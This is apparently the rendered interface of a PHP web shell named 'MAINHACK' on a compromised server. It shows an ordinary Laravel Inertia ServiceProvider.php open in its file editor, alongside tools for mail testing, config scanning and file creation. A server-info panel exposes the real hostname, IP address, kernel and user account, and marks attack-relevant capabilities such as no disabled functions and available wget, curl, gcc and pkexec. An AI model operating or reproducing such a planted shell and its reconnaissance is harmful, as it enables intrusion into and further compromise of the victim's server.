[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ServiceProvider.php
<?php namespace Inertia; use LogicException; use Inertia\Ssr\Gateway; use ReflectionException; use Inertia\Support\Header; use Illuminate\Http\Request; use Inertia\Ssr\HttpGateway; use Illuminate\Routing\Router; use Illuminate\View\FileViewFinder; use Illuminate\Testing\TestResponse; use Inertia\Testing\TestResponseMacros; use Illuminate\Support\ServiceProvider as BaseServiceProvider; use Illuminate\Foundation\Testing\TestResponse as LegacyTestResponse; class ServiceProvider extends BaseServiceProvider { public function register(): void { $this->app->singleton(ResponseFactory::class); $this->app->bind(Gateway::class, HttpGateway::class); $this->mergeConfigFrom( __DIR__.'/../config/inertia.php', 'inertia' ); $this->registerBladeDirectives(); $this->registerRequestMacro(); $this->registerRouterMacro(); $this->registerTestingMacros(); $this->app->bind('inertia.testing.view-finder', function ($app) { return new FileViewFinder( $app['files'], $app['config']->get('inertia.testing.page_paths'), $app['config']->get('inertia.testing.page_extensions') ); }); } public function boot(): void { $this->registerConsoleCommands(); $this->publishes([ __DIR__.'/../config/inertia.php' => config_path('inertia.php'), ]); } protected function registerBladeDirectives(): void { $this->callAfterResolving('blade.compiler', function ($blade) { $blade->directive('inertia', [Directive::class, 'compile']); $blade->directive('inertiaHead', [Directive::class, 'compileHead']); }); } protected function registerConsoleCommands(): void { if (! $this->app->runningInConsole()) { return; } $this->commands([ Commands\CreateMiddleware::class, Commands\StartSsr::class, Commands\StopSsr::class, ]); } protected function registerRequestMacro(): void { Request::macro('inertia', function () { return (bool) $this->header(Header::INERTIA); }); } protected function registerRouterMacro(): void { Router::macro('inertia', function ($uri, $component, $props = []) { return $this->match(['GET', 'HEAD'], $uri, '\\'.Controller::class) ->defaults('component', $component) ->defaults('props', $props); }); } /** * @throws ReflectionException|LogicException */ protected function registerTestingMacros(): void { if (class_exists(TestResponse::class)) { TestResponse::mixin(new TestResponseMacros()); return; } // Laravel <= 6.0 if (class_exists(LegacyTestResponse::class)) { LegacyTestResponse::mixin(new TestResponseMacros()); return; } throw new LogicException('Could not detect TestResponse class.'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002